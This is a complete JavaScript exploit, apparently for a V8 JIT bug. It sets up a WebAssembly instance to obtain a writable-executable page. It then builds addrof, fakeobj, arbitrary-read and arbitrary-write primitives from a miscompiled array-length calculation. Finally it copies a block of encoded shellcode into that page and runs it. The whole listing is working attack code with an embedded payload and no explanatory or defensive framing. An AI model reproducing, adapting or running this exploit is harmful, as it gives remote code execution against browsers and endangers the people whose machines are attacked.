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<script src="exploit.js"></script> |
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var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]) | ||
var wasm_mod = new WebAssembly.Module(wasm_code); | ||
var wasm_instance = new WebAssembly.Instance(wasm_mod); | ||
var f = wasm_instance.exports.main; | ||
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var buf = new ArrayBuffer(8); | ||
var f64_buf = new Float64Array(buf); | ||
var u64_buf = new Uint32Array(buf); | ||
let buf2 = new ArrayBuffer(0x150); | ||
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function ftoi(val) { | ||
f64_buf[0] = val; | ||
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); | ||
} | ||
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function itof(val) { | ||
u64_buf[0] = Number(val & 0xffffffffn); | ||
u64_buf[1] = Number(val >> 32n); | ||
return f64_buf[0]; | ||
} | ||
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const _arr = new Uint32Array([2**31]); | ||
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function foo(a) { | ||
var x = 1; | ||
x = (_arr[0] ^ 0) + 1; | ||
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x = Math.abs(x); | ||
x -= 2147483647; | ||
x = Math.max(x, 0); | ||
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x -= 1; | ||
if(x==-1) x = 0; | ||
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var arr = new Array(x); | ||
arr.shift(); | ||
var cor = [1.1, 1.2, 1.3]; | ||
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return [arr, cor]; | ||
} | ||
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for(var i=0;i<0x3000;++i) | ||
foo(true); | ||
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var x = foo(false); | ||
var arr = x[0]; | ||
var cor = x[1]; | ||
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const idx = 6; | ||
arr[idx+10] = 0x4242; | ||
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function addrof(k) { | ||
arr[idx+1] = k; | ||
return ftoi(cor[0]) & 0xffffffffn; | ||
} | ||
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function fakeobj(k) { | ||
cor[0] = itof(k); | ||
return arr[idx+1]; | ||
} | ||
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var float_array_map = ftoi(cor[3]); | ||
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var arr2 = [itof(float_array_map), 1.2, 2.3, 3.4]; | ||
var fake = fakeobj(addrof(arr2) + 0x20n); | ||
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function arbread(addr) { | ||
if (addr % 2n == 0) { | ||
addr += 1n; | ||
} | ||
arr2[1] = itof((2n << 32n) + addr - 8n); | ||
return (fake[0]); | ||
} | ||
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function arbwrite(addr, val) { | ||
if (addr % 2n == 0) { | ||
addr += 1n; | ||
} | ||
arr2[1] = itof((2n << 32n) + addr - 8n); | ||
fake[0] = itof(BigInt(val)); | ||
} | ||
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function copy_shellcode(addr, shellcode) { | ||
let dataview = new DataView(buf2); | ||
let buf_addr = addrof(buf2); | ||
let backing_store_addr = buf_addr + 0x14n; | ||
arbwrite(backing_store_addr, addr); | ||
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for (let i = 0; i < shellcode.length; i++) { | ||
dataview.setUint32(4*i, shellcode[i], true); | ||
} | ||
} | ||
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var rwx_page_addr = ftoi(arbread(addrof(wasm_instance) + 0x68n)); | ||
console.log("[+] Address of rwx page: " + rwx_page_addr.toString(16)); | ||
var shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957]; | ||
copy_shellcode(rwx_page_addr, shellcode); | ||
f(); |